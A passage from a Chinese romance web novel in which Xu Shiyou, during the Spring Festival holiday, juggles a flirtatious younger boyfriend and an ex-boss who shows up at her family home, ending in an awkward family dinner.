“你
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说这年纪小的,自己都未必能养活,更别说谈女朋友了,没准还要你养呢,嫂子你说是吧?”
说完,她还看了眼周敏,那眼神,整一个帮助劝导误入迷途的未成年少女一般。
周敏也没想到自家女儿会喜欢年纪小的,确实也不太赞成:“你小姑说得也没错,你也没多大,比你小的能成熟到哪去?”
徐诗柚从善如流,立马换了个条件:“那行吧,我喜欢长得帅的。”
小姑这一听,更不得了了:“哎呦,你瞧你,一会要年纪小的,一会要帅的,咱这是找结婚对象呢,得实在点,挑条件好的,光有皮囊有什么用?这长得帅的能当饭吃吗?”
能啊,看着她家小狗的脸,饭都能多干三碗。
“那小姑你这问我,这也不行,那也不行的,看来你这已经有自己的标准了,要不你自己看着办?”
徐诗柚直接把小姑说得脸色都不好了,周敏瞪她一眼,无声示意她对长辈说话客气点。
【姐姐?】
季野见她一直没回,又发来消息。
徐诗柚拎起手机起身回房,敷衍地摆摆手:“小姑你们聊吧,我有些困了,先回房了哈,我熬不了夜,就不陪你们守岁了。”
回了房,徐诗柚直接拨了个视频通话过去。
可画面一接通,她就愣住了。
屏幕那头可不是她平时熟悉的那个季野弟弟。
他镜头放得有些距离,徐诗柚能看见他一身剪裁利落的黑色西服,往日随意耷拉在额前的碎发此刻被打理得服帖,做了造型,露出光洁的额头和清晰的眉眼轮廓,鼻梁高挺,唇线分明。
视角有点死亡,但丝毫不影响他的帅气,反而把那锋利流畅的下颌线衬得越发清晰。
季野在走动,镜头有些晃,过了会,他找了个安静些的角落,视角才拉回到正常水平,暖光落在他脸上,淡化了他眉宇间的冷淡,添了几分稳重,多了几分成熟男人的矜贵劲儿。
徐诗柚看得有些呆了,好一会都没出声。
“你…在参加宴会?”
“嗯,家宴。”
好家伙,有钱人的家宴都是直接整成商业宴会模式的吗?
“也不是年年都这样,今年不是我姐要回来接手公司嘛,爸特意大办为她铺路的。”
原来如此,是要把季薇介绍给所有人吧,季薇长期不在京市圈里混,确实需要重建人脉。
徐诗柚不吭声,趴在床上支着下颌,目光一瞬不瞬地盯着屏幕里的男人。
“姐姐怎么不说话?这么看着我做什么?”
他一笑,些许腼腆,漾出两个浅浅的梨涡,少年意气溢出,更帅了。徐诗柚蓦地想起成年后初见,让她心动crush的那一面,他在篮球场上就是这么笑的。
她看得有些失神,魂都被勾走了,半晌,叹息道:“算了,挂了吧。”
季野一脸懵,立即反省:“是我说错什么让姐姐不高兴了?”
“不是。”
“那是?”
“影响我睡眠。”
“?”
徐诗柚眼尾勾着点坏,凑到屏幕跟前,用说悄悄话的声量,慢悠悠开口:“宝贝今晚太帅了……”
“想上。”
39. 来访
她用的气声说话,季野凑近了听,等听清后,表情明显怔愣几秒,紧接着,耳尖肉眼可见地变红,沿着耳朵,一路红到脖颈。
面对徐诗柚过于直白裸/露的话语,他喉结滚了滚,略显窘迫地移开眼,声音也不觉压低,“姐姐别说了…还在外面呢。”
他不想在外面丢人。
“不喜欢啊?好吧,那我不说了,挂了!”
“不——”
徐诗柚已按了挂断。
【没有不喜欢!姐姐别生气……】
徐诗柚笑着点字:【那是喜欢?】
季野:【……】
徐诗柚:【那就是不喜欢了。】
季野很无奈:【…喜欢。那个,求你别说了姐姐…要起反应了……】
徐诗柚抱着手机笑得在床上打滚,啧,调戏弟弟可真是件百做不厌的事。
她也不想他在外面拼命压枪的样子被别的瞧了去,这只能让她看,暂时放过他:【好吧,不说了。】
【但要给我拍张帅帅的照片,我用来做聊天背景。】
季野收到任务,当即拿起手机自拍起来,为了拍出张满意的还换了多个角度,直到拍出他认为最帅的才舍得给徐诗柚发去。
礼尚往来,他也问她要:【姐姐也发一张给我吧…】
其实他偷存了不少她照片,不管是以前从他姐那偷的,还是之后他偷拍的。他手机里有一个单独关于她的私密相册。
像这样难得能光明正大向她讨照片的机会,他又怎么会错过。
徐诗柚很大方,随手给他发了张私房照过去。
那头果不其然地炸了:【姐姐!】
季野刚从外边的沙发站起,想回会场,一看见她发的照片,麻溜地又坐了回去……
他盯着那张她穿着薄纱裙懒散躺在沙发上的私房照,照片里的女人头发散开垂到沙发边缘,锁骨下大片的雪白,再往下,是若隐若现的高山起伏,长腿几乎都光在外面,裙子在下方铺散着,遮住的部分寥寥无几。
照片里的徐诗柚,和现在的模样略有些不同,脸比现在要圆润些许,妆容也比较清淡,俨然一副清纯女大的形象,事实上,也和季野印象中大学时期的她一样。
他喉结翻滚,指尖没什么出息地点了保存。
这张照片,他绝不能让别人看见!
点完保存,他回到聊天框,烦闷地打字。
【姐姐,你好烦啊。】
【想要了。】
……
-
徐诗柚昨晚熬过了凌晨,季野早早赶回家里陪她打视频,一起守岁,不知道聊到了几点,伴随着烟花声,她昏昏沉沉就睡过去了。
等早上醒来,发现通话居然开了一晚上,通话中断显示7点47分,紧接着就是季野发来的消息。
【姐姐,我先起床了,睡醒了回我。】
徐诗柚看了下时间,早上9点多,她回了季野个“早,我再睡会”,其它祝福信息都暂且搁置,被子一拉,又继续睡了。
父母一大早就去寺庙上香了,她往年也不怎么去,所以没人喊醒她,反正家里也没人,干脆多睡会。
等她再次睡醒的时候,已经将近中午,听到外面隐隐传来交谈的声音,想来是爸妈回来了,她打着哈欠出房门,口齿都不清。
“爸,妈,睨们灰来了?有没有……”
徐诗柚的话在见到客厅里挺拔站立的人时戛然而止,连打到一半的哈欠都被惊得咽了回去,转化成一个嗝突兀地打出,显得人特别傻。
她眨着眼,有些反应不过来,长久呆滞在原地。
周敏看到这傻愣样,嫌弃道:“发什么愣呢?朋友上门来看你,还不赶紧收拾下出来见人?”
朋友?
她目移向周敏身旁立着的男人。
对方双手闲闲插着兜,散漫的视线扫来,上下打量过她,唇角勾着点戏谑的弧度。
徐诗柚顺着他的视线低头看了眼自己,一身毛茸茸的小熊睡衣,头发乱糟糟的,完全不修边幅的状态。
她当即转身回房。
砰的门关上后,才慢半拍震惊。
不是,大过年的秦聿怎么在她家?
……
自从电影院那回后,徐诗柚和他几乎没什么联系了,不知道是不是年终公司也忙,他也没再跑来找过她。
徐诗柚一度以为他终于对这种“装深情戏码”不耐烦了,不打算继续演了呢,没想到给她憋了个大的。
“你来做什么?”她眉一皱,开口就是赶人的架势。
周敏往她脑门敲了下:“会不会说话你?人家大老远跑来给你拜年,有你这么说话的吗?”
拜年?呵呵,什么地狱笑话?
她什么身份?能让秦总屈尊跑来这小县城给她拜年?
徐诗柚捂住脑袋瞪眼,望向秦聿的眼神依旧不善。
秦聿礼貌笑着,端得一副谦谦君子作态:“是我唐突了,擅自跑来,诗柚生气也是正常。”
“别管她,你跑来一趟不容易,先坐吧,来都来了,留下吃顿饭吧。”
“对了,小秦,你有没什么不喜欢吃的,或不能吃的?”
“没呢,阿姨做什么都行,我不挑的。”
呵,什么都挑的人,搁这说自己不挑?虚伪。
周敏进厨房前还警告地瞪了自家女儿一眼:“好好招待人,别胡说八道!”
徐诗柚嘴上磕着的瓜子都不香了,等周敏一转身,立马把嘴里的瓜子壳呸掉,换来秦聿嫌弃的一眼。
她才不管他怎么想,双手往兜里一插,给他个眼神,示意他跟来:“聊聊。”
徐诗柚本来想带他到阳台聊的,出来发现外面居然下雪了!冷得要死,又关上门,视线扫过本就不算大的屋子,塞进他这么尊大佛后更显逼仄了,也没什么能聊私事的地方。
犹豫再三,还是把他领进了自己房间。
门一关,她脸色立马变了:“秦聿,你什么意思?”
秦聿抱臂懒靠在门上,闲闲地打量着她的卧室,慢腾腾地回应:“不就是来给你家拜个年吗?瞧你这紧张的,怎么?怕你爸妈知道我们的事?”
这话听着像威胁,徐诗柚噌地火气就上来了:“你敢说一句试试!”
秦聿安静地端量了会她如同炸毛猫般的状态,半晌,叹出一声,往前走几步,走至她跟前。
徐诗柚警惕,想往后退,没来得及,肩上一沉,她整个人僵住。
秦聿头靠在她肩上,耳边是他略显疲态的声音:“好啦,擅自跑来是我不对,但我开了快6小时车过来的,你行行好,别生气了行不行?”
北城离京市很近,是邻省,所以当初徐诗柚才会选择去京市发展,为此也明白他说的开6小时车不是开玩笑。
徐诗柚被他这突然放软的姿态弄得很不适,在几秒的僵硬后,推开他:“说话就说话,别靠那么近。”
秦聿看她红了的耳廓,笑了声,直起身来,手依旧闲闲插在兜里:“你以前不是问我,要不要跟你回家?”
不说还好,一说,徐诗柚糟糕的心情又回来了,她不可思议地盯住他:“秦总,你可真会玩啊,以前我们什么关系?现在我们什么关系?不用我给你重复一遍你当初是怎么回答我的吧?”
她到现在都尤记得,她怀着满腔忐忑试探性问他要不要跟她回家时,他系着衬衫的扣子,像听见什么笑话般,连瞥过来的眼神都似在嘲笑着她的自不量力。
他说:“我们什么关系?你让我跟你回家?怎么?睡多了,连脑子都睡坏了,还真把我当你男友了?”
“这话是你说的吧?你还让我别对你产生不该有的期待……”
秦聿眉眼下沉,对她重现的话略感刺耳,却又没法反驳自己确确实实说过的话。
看他这幅想反驳又没法的样子,徐诗柚舒服了,讽刺更甚:“那你现在这是在做什么?让我别对你产生不该有的期待,结果现在你自己跑来说是因为我想要你来的?”
“在我们结束关系一年后的这个时间?”
“你自己听了不觉得好笑吗?”
“我……”
“诗柚——”秦聿刚张口,门外响起周敏从厨房传来的声音,“你进来帮我洗下菜!”
徐诗柚怕被周敏发现她把人带房里了,一听见喊声,便立马拉开门,把秦聿赶了出去,佯装无事地进了厨房。
只是心情糟糕,难免泄了些情绪。
周敏何其敏锐的人,秦聿一说是自家女儿以前公司的同事兼好友就觉得不对了,一番交谈便套出了是女儿上司这事,只是对方说已经不是上下级关系,不希望她把他当女儿上司来对待,她才顺着对方意说是朋友。
但谁家领导会大过年地从京市跑来给下属家拜年啊?何况对方看着就身份不凡,再联想起女儿以前说过的话,猜得八
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九不离十了,估计她就是女儿嘴里提过的那位。
她故意把人喊进厨房,就是为了确认:“妈妈不知道你们之间发生过什么,但人能从京市开几小时车过来,还提了这么多东西上门来拜访,也算是有诚意了。”
“就算不说这些,你以前也说过吧,你在公司能有现在的成就,上司给过你不少提点和提拔……所以不管你们之间发生过什么不愉快的,基本的礼貌还是要有的。”
徐诗柚摘菜的动作一滞,无声垂下了眼:“……知道了。”
她没法向妈妈解释他们之间糟糕又复杂的关系,也无法让她知道,自己的女儿在外面有多不自爱。
算了,不管他到底为什么来,忍忍吧。
午饭的时候,徐父回来了,见到秦聿也是惊讶,不过应付长辈这种事,秦聿根本不在话下,向来没有他做不好的,只看他想不想做。
徐诗柚麻木地吃完了春节的第一顿饭,秦聿抢着收拾碗筷,知道徐诗柚不待见他,等从厨房出来后,便体面地找了理由要回去,进退有度。
周敏也知道他是因为女儿的全程冷待才会早早提出离开,她看了眼外面越下越大的雪,还是开口:“别了,外面雪那么大,开车不安全,你也别到外面找住的了,千里迢迢跑来一趟不容易,不嫌弃的话,就在咱家将就一晚吧?”
“妈!”徐诗柚都震惊了。
“怎么会嫌弃,只是……”他眼神示弱地瞥一眼徐诗柚,一副看她脸色行事的作态。
徐诗柚都要被气笑了,这人怎么突然这么会装了?平时眼睛都长头顶的人,这会还装上委屈了?
“行了,就这么决定吧,我一会收拾下客房,今晚就在这睡一晚吧,养足了精神再开车,不然路上出什么事可让我们怎么交代?”
生怕徐诗柚再提什么反对意见,秦聿这下不继续假客气再推拉个几回了,立马应:“好咧,谢谢阿姨。”
徐诗柚:“……”
呵呵。
她抓了把瓜子揣兜里,回房了,用无声的反抗来回应周敏的擅作主张。
手机震动,季野的视频电话打来,徐诗柚这会才想起,起来后都没来得及看他有没回复。
她点下接听,季野的脸出现在屏幕里,五官依旧精致优越,百看不厌。
“姐姐,醒了?吃饭了吗?”
“嗯,吃了,你呢?”她闷闷应着。
察觉到她情绪不对,他轻蹙起眉:“怎么了?不开心?”
她嘴唇翕动几下,想起那天提起回京市的事时,季野激动的情绪,质问她需要考虑是不是因为秦聿。
大过年的,她不想因为不相干的人影响两人的心情,最终扯了扯唇,道:“没有啊,就是下雪了,不太喜欢。”
反正秦聿明天就走,多一事不如少一事,还是别说出来让弟弟添堵了,万一他想多了误会,还影响他们的感情。
“姐姐不喜欢下雪天?”
“今天不喜欢。”
季野笑了声:“奇奇怪怪的,今天的雪是惹你了?”
两人东拉西扯了一会有的没的,在结束电话前,季野又开始黏黏糊糊的小狗姿态。
“姐姐,我好想你啊,想抱你。”
他趴在手机前,像只委屈的大狗,徐诗柚都想伸手进去摸摸他的头。
“我也是。”
“是什么?”
“想你。”
……
电话挂断后,微信里秦聿的头像跳出。
徐诗柚点进去,看见对方发起转账“8888”。
徐诗柚:【?】
秦聿:【88888怕你不收,888我自己都给不出手,8888刚好。】
徐诗柚无语:【我是问你为什么要给我转钱?】
秦聿:【给你发红包。】
神经吧这人。
秦聿:【你当今晚的房租也行。】
怕她不收,秦聿还在想着用什么理由让她收下时,红包一白,已然被接收的状态。
徐诗柚:【好的,那就不客气了,谢谢前~老板。】
秦聿不缺这点钱,徐诗柚收得一点没客气,收了钱,就当他是个借宿的。
还特意强调了下“前老板”,秦聿觉得她这阴阳怪气得有些好笑,笑完又有几分失神。
她好像变了些,以前的她,大概率是不会收的,就像那些送给她,她却从未背过的包一样。
40. 发泄
雪昨天下到傍晚就停了,今天一大早便出了太阳,周敏让秦聿晚点看看路况再走,于是秦聿顺理成章继续赖在她家又蹭了顿午饭。
下午的时候,周敏接到小姑的电话,说是女婿回来了,晚上要来拜访,周敏瞧着酒水不太够,便打发徐诗柚去再添点回来。
秦聿说酒水重,她一个人拿不方便,也要跟着出门。
徐诗柚瞥他一眼,没拒绝,大老板要上赶着当苦力,没理由不成全他。
路上滑,开车慢,加上过年很多店铺都关了,找到还有卖酒水年货的地方花了些时间。
非必要,徐诗柚一路都不怎么说话,坐在副驾上安安静静地靠着,眼睛看着窗外。
秦聿想起以前她坐他车时,总像只麻雀一样叽叽喳喳,嘴巴都不带停的,什么时候,两人的关系已是连多说句话都不肯了。
知道她是故意冷着自己,他倒也没上赶着自讨没趣。
等到家附近停车后,徐诗柚更是看都没看他一眼,自顾自便下了车,秦聿腿长,只要他想,轻易就能追上,但他没有,至始至终都只保持着一定距离跟在她身后。
她望着女孩头也不回,看起来倔强又绝情的背影,想起以往每次争吵后他甩脸色,也是这么快步走在跟前,从不回头等她的,因为他知道,她会自己跟上来。
她就每次怯怯跟在他身后,观察他脸色,等他消气些才敢上来搭话。
她以前,是不是也每次都这么看着他背影的?那会,她都在想什么?
也是这么惶然,心里没底吗。
意识到自己的用词后,秦聿停住了脚步,在离家还有几十米距离时。
“徐诗柚。”他唤她。
徐诗柚没回头,甚至脚步也没停。
秦聿依旧停在那,又唤她一遍,只是,这次他说的是:“徐诗柚,我们重新开始吧。”
他声音是一向的平缓,淡漠,没什么情绪,像是在说一件再平常不过的事。
声音落在寂静的雪天里,格外清晰,女孩踩在雪里的细碎声响停了。
耳边是冷风刮过的呼呼声,脚下是深一脚浅一脚的雪印,她终是慢慢地转过了身来。
两人隔着两米多的距离,安静对望。
秦聿再次开口:“我是说,正式的,认真的那种开始。”
话落在冰冷的空气里,依旧是死一片的寂静。
徐诗柚不说话,只是久久凝住他,像是想从他脸上看出些什么。
许久,她张口:“秦聿,我是你呼之则来挥之则去的狗吗?”
她以为,自己面对他时,情绪已经不会再有多大的波澜了,可以很平静,很冷静地应对。
可一张口,嗓音的涩哑却还是出卖了她。
她还是没绷住,仰起了头,望住灰沉沉的天,眼睫极速眨动着。
原来终归,还是在意的。
她努力克制住软弱的表现,不想让自己再在这段关系里表现得那么没尊严。
她一字一句质问:“凭什么你想不越界地保持关系就保持关系,你想一起了,我就得和你一起?”
秦聿目光落在她有些莹润泛红的眼上,下意识往她的方向迈出一步。
徐诗柚也本能地随之后退。
察觉出她的排斥,秦聿不动了,漆黑的眸只是看她,声音难得地柔软:“我们好好聊聊,好吗?”
“聊什么?聊你想和我复合?哦,不对,我们都没一起过,哪来的复合……”她扯出个自嘲的笑,“那是聊,你现在想试着和我谈谈了?”
说到这,她深吸了口气,又长长叹出,颇感惋惜地出声:“晚了。”
秦聿神色不变,只是问:“你不喜欢我了,是吗?”
徐诗柚轻笑一声,反问他:“我该喜欢你吗?”
“在一次次被你不留情面地推开,一次次被你强调别自作多情别对你有多余的想法后,我该继续喜欢你的吗?”
“秦聿,在你眼里,我是不是连自尊都没有啊?”
秦聿喉结滚了滚,没说话。
徐诗柚眨着眼,把再次泛起的酸意逼退:“所以你也承认,你早就察觉到我喜欢你了,是吗?”
他直视着她的眼,没否认:“是。”
徐诗柚手插进衣兜里,低下头来,踢着脚下的雪:“所以在我说出来前,你果然都在装傻…看着我喜欢你捧着你围着你转还装作一副不在意的样子,是不是挺可笑的?”
“我没那么想。”他又试图往她的方向靠近。
“你说你想和我重新开始,那我问你…”徐诗柚停下了踢雪的行为,仰起头来,问他,“秦聿,你喜欢我吗?”
秦聿迈出去的腿顿住,脸色有片刻僵滞,眼睛一瞬不瞬地盯着她,唇线绷紧成一条线。
因着她的问话,唇角似乎些许牵起又落下,最终也没能发出声。
嘴巴被胶水粘住了似的,要他说句喜欢,估计比要他命还难。
见他这样,徐诗柚不可控地再次笑出声来,她主动走至他跟前,手指点在他胸口上,嘲弄般仰头:“看,你连一句喜欢都说不出口,跟我谈什么开始?”
“还是说,是你不敢承认?”
“怎么?你也知道,将自己的真心交出去就等同于给了另一个人伤害自己的权利吗?”
“秦聿,你也会怕吗?怕自己会在一段感情里处于下风…”
见他仍一声不吭也不辩驳的样子,徐诗柚就没由来地烦躁,说话也不再压着情绪。
“也是,你最清楚不过了。毕竟你就很擅长用这样的特权来拿捏我。”
“你早知道我对你什么心思,却还和我保持着关系,仗着我喜欢你,就不管我生气,难过,还是吃醋都好,你都可以不为所动,你在这段不需要负责的关系里占尽了上风……”
“任何我为此产生的情绪,你都大可以归咎为我的问题,因为是我对你先抱有了不该有的情感,为此产生的情绪,你当然不会负责……”
原来,根本做不到冷静,话一出口,长久以来的愤懑似乎都在这一瞬找着了出口,源源不断地爆发出来。
“你也从来不会哄我。”
她吸了吸鼻子,继续发泄。
“吵架也好,生气也罢,你都不会有一句软话,说不理就不理,转头还能和别的女人一起吃饭,就是为了让我清楚知道你身边不缺我一个,然后等着我自己把情绪消化完了再主动低头来找你和好,你什么都不需要做……”
“一直以来,你不都凭着这点特权轻易地拿捏着我吗?你最会了。”
说到最后,声音已然哽咽不成声:“秦聿,你真的在乎过我吗?
在说出最后一句话,眼泪啪嗒啪嗒往下掉的时候,声音哽咽到发声都艰难的时候,徐诗柚意识到了,自己根本从未真正放下过。
那伤口即使微小,但它始终就是在的。
她其实早就满肚子的委屈想要发泄,只是她也知道,对一个不在乎自己的人发泄这些毫无意义。
不痛不痒,不会给对方造成一丝伤害。
就像现在这样,他听着,却始终平静地望着她,不发一言。
她只是不甘,不甘自己那三年喂了狗的感情。
徐诗柚烦透了他这幅在感情里冷静理智得要死的样子了,他越这样,越是衬得她像个感情里冲昏头脑不理智的疯子,以至于她想把话说得更难听。
“既然你也不喜欢我,也不在乎我感受,跑来跟我谈开始又是为什么?”她唇角一勾,点在他胸口的手干脆顺势勾住他内衬的领口,往下拉,“是还没睡够?特意跑过来想再多睡几次?”
她话说得难听,秦聿那看不出喜怒的面上总算有了些微变,他眉拧起,握住她在自己身上作乱的手,对上她轻挑的眼神时,脑子却不合时宜地想起跨年那晚,他打了她十几通电话,最后却是个男人接起的事。
原本想让她冷静,让她别闹的话,这会却因着莫名的情绪,话一出口都变了,夹带着他自己都不曾察觉的火气。
他攥紧了她的手腕,居高临下地倪向她,声线淡漠得像在谈什么买卖:“我现在要和你睡的话,你就会答应吗?”
徐诗柚往下勾他衬衫的指尖一滞,听他继续嘲弄道:“还是说,你就是这么不挑,和谁睡都一样?”
勾起的唇角一点点下落,拉平,徐诗柚眼底彻底没了笑意,只冷冷地凝住他:“秦聿,你什么意思?”
话头是她先故意挑起的,想听的却不是这样的答案,当真被这般看待时,徐诗柚只觉心寒。
原来,原来,他一直就是这么看自己的……
在触及她受伤到近乎破碎的眼神时,秦聿神色微滞,后知后觉地意识到自己说了什么混账话,他唇角的冷嘲倏然收起,眼底闪过几分自己都不理解的茫然,他唇瓣颤了颤,张口:“不是……”
“混蛋。”眼泪再次从她眼睛滑落,她举起手,一拳轻轻锤在他胸口。
“混蛋。”又一拳落下,力气比刚才要重些。
“混蛋!秦聿你真是个混蛋!”她情绪激动起来,每骂一声,就往他身上砸一下,力度越来越重,砸到最后,几近失控。
“混蛋东西,你居然这么说我……三年多的相处,我在你眼里原来就是这样的人……”
“混蛋,你真是个混蛋!你混蛋透了,你怎么能…怎么能……”她骂着,锤着,哭着,声音都在发颤。
“不是…我不是那个意思!”秦聿接过她一下下砸来的拳头,但对方已然失控,没了轻重,显然也听不进任何解释,他没法,干脆把人搂进怀里,禁锢住她的行动,“对不起,我的错,是我犯浑了,
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我刚才是…你先别动,冷静听我说!”
“我听你妹!你给我放手!”徐诗柚被他搂得紧,挣扎得更厉害,又打又踹的,最后牙齿都用上了,狠狠地咬在了他胳膊上,对方就是不松,徐诗柚觉得自己像个疯子,又在他一声声道歉下溃不成声。
她紧攥着他的衣服,哽咽难言,却仍然坚定地骂着他混蛋,好像只有这个词能表达她的所有情绪了。
秦聿抚着她的背,只一直低声念着对不起,直到怀里的人逐渐冷静下来,独剩一声声哽咽的啜泣。
“留下来坐会吧,这么冷的天,瞧你手冻得……”
身后传来周敏的声音,徐诗柚埋在秦聿怀里的哽咽声一下便卡在了喉咙里,随即听见了更熟悉的声音。
“真不用了阿姨,我就是替我姐跑腿的,你不用——”
伴随着戛然而止的声音,徐诗柚意识到什么般地缓慢回头,看到站在自己家门外,一身黑色大衣的季野。
季野也同样看到了她,更看到了此刻和她抱在一起的秦聿。
以前每次见到她,季野都像只小狗一样,笑得眼睛弯起,尾巴都要具现化一甩一甩的。
但现在,他看她的眼神,却是陌生的空洞,平静,没有任何情绪。
徐诗柚僵滞几秒,推开身前的人,抬手胡乱擦着眼泪便跑上前去,也顾不得周敏就在一旁,慌乱抓住他袖子,说出了那句大概率没什么用,但在这种场合下好像也只能这么说的,土掉渣了的台词:“不是,不是你想的那样的……”
季野视线缓缓垂落,落在她哭得通红的眼,以及脸上未来得及擦干的泪痕上,他唇角抽搐般动了动,扯出个比哭还难看的笑,他说:“姐姐,新年快乐。”
徐诗柚神色一僵,被他这句突兀的新年快乐弄得更为惶然,一时竟不知该怎么接话。
他却像没事人一样,推了推她:“外面冷,姐姐快回屋里去吧。”
他还笑着同她解释:“我姐她这几天有点忙,我替她来拜年,送完礼就准备走了。”
拜年是假的,送礼是假的,想见她才是真的,来时没见到她在家的失望也是真的。
但他不是他姐,和她家人是第一次见,他想姐姐应该暂时也不想家里人知道他的存在吧,他也不想给她添麻烦,所以送完礼就没打算停留。
只是没想到……
“是啊,小野说他是薇薇弟弟,来替她送礼的,我都让他留下坐会了,也不知道这孩子急什么……”周敏不认识季野,但对季薇,却是当半个闺女对待的,没道理让她弟弟送完礼就走人。
“好。”季野瞥了眼徐诗柚身后不远的男人,忽然应声,“那麻烦阿姨了。”
“啊?”前一秒还说要走,这一秒突然又说好,周敏脑子都还没拐过弯来。只视线在几人身上流转一番后,便当机立断把人都招呼进来,“好好好,外面冷,赶紧都进来吧。”
……
屋内,暖气把玻璃窗熏出一层薄薄的雾,客厅的主沙发上,坐了三人,徐诗柚坐中间,左边是秦聿,右边是季野,周敏则坐在侧边的单人沙发上。
徐父在妻子眼神示意下,先进了厨房备今晚的菜。
周敏给几人备了茶,端起茶杯的时候,眼神左右缓摆,静静打量着女儿身边两位气质不凡的男人。
她忽然就想起女儿那天说的,喜欢小的,帅的,视线便偏向季野,又想到刚才在门外看到的拥抱场面,视线又挪向秦聿。
屋内暖气供给明明挺足的,她愣是感觉背上冷汗都冒了一层。
该不会是她女儿,脚踏两条船被双方同时当场抓包了吧?
身为母亲,周敏是知道自家女儿是有些混账的。
毕竟有过高中就让两个男生为她大打出手,还被叫家长的前科存在。
……但也没想到会这么混账啊!
偏偏,这事还没完。
在几人僵滞着无人先开口打破沉默的这会,门铃声猝然响起,给这沉重而紧绷的氛围划开了一道口子。
周敏逃似的去开门,发现是小姑到了,带着女婿女儿一起。
“嫂子你看,我前天才说女婿得过几天才回来的,没想到今个就回来了,我这不赶紧就领过来给你们拜年了?”
小姑一进门就先炫耀了把女儿女婿的孝心,“我都说不用急着回了,他们还说什么想我,非赶着回来哈哈……”
见人进来,徐诗柚站起,越过沙发看去,喊人:“小姑,表姐。”
视线又移向那看着一身名牌,穿着讲究,但有点胖胖的男人:“表姐夫。”
小姑一见着她便笑得合不拢嘴,边说着边往里走:“诗柚啊,你看你小姑我厚道吧?你前天不是说让我给你介绍相亲对象吗,我说等你表姐夫回来就给你问问,这不人一回来就立马给你领过来了?”
41. 混乱
徐诗柚顿觉头大,她没有啊!她什么时候让小姑介绍对象了!那不过是敷衍她的说辞而已,她胡说八道些什么!
小姑没点眼力劲的,过来的同时还划拉着手机:“你看呀,相亲对象的照片都给你备好了,你一会——”
话在见到徐诗柚身旁两尊气质相貌都非凡的大佛时停住了。
她茫然地转向自己嫂子:“这两位是……”
周敏也很尴尬,硬着头皮介绍:“诗柚的朋友,和…薇薇的弟弟……”
哦,不是对象就行!
她立马调整状态,高举过手机招呼侄女:“诗柚你来这边,小姑给你看看照片,你表姐夫能给你介绍的,条件肯定不差。”
看个毛啊,能不能睁眼看看现场氛围啊?
见她不动也不吭声,小姑居然直接一屁股挤过来把秦聿挤到边上去了,她拉着徐诗柚一块坐下:“你看看这些人里面,有没有你看得上眼的?”
秦聿都没被人这么粗暴地对待过,简直无语至极,但更让他无语的还是,徐诗柚居然让人给她介绍相亲?
他也不气了,起身走到她跟前,也凑过头去看。
而介绍人表姐夫,在进门看见这个侄女身边的两尊大佛后,脸都吓白了。
在京市混的,怎么可能不认得秦聿呢?先不谈家世背景那些,就是他本人在京市也是相当有名望的!再看另一边,这不是前天季家家宴上才见过的,季董的那位小儿子吗?从小就被季董带在身边出席各种场合的,说是集团未来太子爷都不为过……
他丈母娘在胡说八道些什么?他们家这个侄女的人脉,需要用得着他来介绍对象吗!
小姑一心只想替侄女物色个好人家,丝毫没察觉出异样,只是她感觉她这一坐下,身边就冷嗖嗖地一直冒着寒气。
“哎呀,嫂子你家这暖气开了没呀,怎么这么冷?”她抬头抱怨了句。
呵呵,冷吗?
周敏抹了把额头不存在的汗,她怎么就感觉一身冷汗呢?
这什么修罗场啊……
和她同样感受的还有早在社会上混成人精的表姐夫,一眼就看出几人气氛不对劲了,他抹了把头上的冷汗,赶忙拉住自家丈母娘:“妈,先别介绍了,咱这以后有的是时间……”
他好说歹说地总算把丈母娘从几人诡异的气氛之间拎了出来,周敏也拉着她到旁边唠嗑,分散小姑的注意力。
徐诗柚也感觉周围冷飚飚的,头也不敢抬。
“姐姐看上哪个了,要不要我帮你过过眼?我看人还是挺准的。”季野先开口打破了诡异的沉默。
“我刚听小姑说,介绍的都是京市有钱人圈子里的?这我熟啊,你说说看,看上哪个了,没准我还认识呢?”
秦聿抱着臂,也悠悠开口。
徐诗柚艰难地咽了口唾沫,扭动着僵硬的脖颈,看看左边,又看看右边。
一个笑得温顺乖巧,像是真的在替她考虑,一个笑得散漫挑衅,随时准备再添把火的架势。
她低头,捂脸,脑袋埋了三米深。
……这都什么事啊!
-
晚饭,一桌子奇怪的搭配。
徐诗柚左右两边是两尊大佛,对面是小姑一家,父母分坐两侧。
“姐姐,吃点虾吧。”季野把虾剥了壳,放到她碗里。
秦聿夹了一筷子鱼给她:“吃鱼吧,你不是最爱吃鱼了?”
“多吃点青菜,营养均衡,姐姐就是太爱挑食了。”季野又夹了一筷子青菜给她。
“你这挑食的毛病还没改?”秦聿拿来一小碗,给她舀了碗汤,“你就是这样身体才总这么虚的,瘦得都没几两肉了,多喝点汤,营养。”
徐诗柚:“……”
这俩是装都懒得装了吗?
徐诗柚深吸口气,暗自攥紧了筷子,一家子盯着呢,都不好发作。
小姑就是再迟钝,在看见两位气质相貌不凡的男人对着侄女这般殷勤,还有自家女婿打进门后对着两位那毕恭毕敬,就差点头哈腰的狗腿子劲也看出点什么了。
顿时也不觉得冷了,后背一直冒冷汗。
她刚都干啥了?不会反而害了自己女婿吧……
一顿饭吃得人心惶惶,诡异至极,还是徐父板着张脸,极具威严性地用筷子敲了敲碗,两个幼稚鬼才暂停了针锋相对的架势。
徐诗柚埋头默默啃着碗里堆成小山的菜,只觉一个头两个大,吃的什么滋味也没尝出来。
……
晚饭前秦聿就接到过电话,似乎是催他回去的,晚饭后对方又打来催促,这会他想再多赖个一天都不行了。
临走前,徐诗柚应父母的话,把他送出门,季野就跟在她身后。秦聿目光扫过两人,眉眼淡压,最后落在徐诗柚脸上:“没说完的话,等我下次来。”
季野垂在身侧的手蜷成了拳头,呼吸都乱了几分,他们之间没说完的话……
人甚至不能共情几个小时前的自己。
徐诗柚单方面冲着秦聿莫名其妙地发泄了一通后,现在觉得格外羞耻且羞恼,这会很不想看见他,更不想听他说什么。
而那长久以来积压在胸腔里的愤懑,委屈经过这么一通发泄后,反倒畅快了不少,她可以确定,自己和他已经不可能了,她现在更担心的是季野会想多。
“我觉得我们没什么好说的了。”她低着头,声线平淡,浑然没有了先前失控时的情态。
秦聿也不恼,目光散漫地转向季野,眉峰轻挑:“都是要回去的,载你一程?”
“不必,我自己有车。”季野不领情,冷着张脸拒绝。
秦聿又看了眼天色,不死心:“都这个点了,既然有车,那一起结个伴走?”
“不好意思,我不喜欢和不熟的人一起走。”
话都说这份上了,看来是带不走了,秦聿也不多说,再次看向徐诗柚时,眼神放软了些:“我说的话是认真的,你好好考虑下。”
徐诗柚垂眸,不应话。
后来秦聿走了,季野前后脚地也要走。
徐诗柚刚准备和他解释,发现他已经往自己停车的方向去了。
她赶紧追上去:“去哪?”
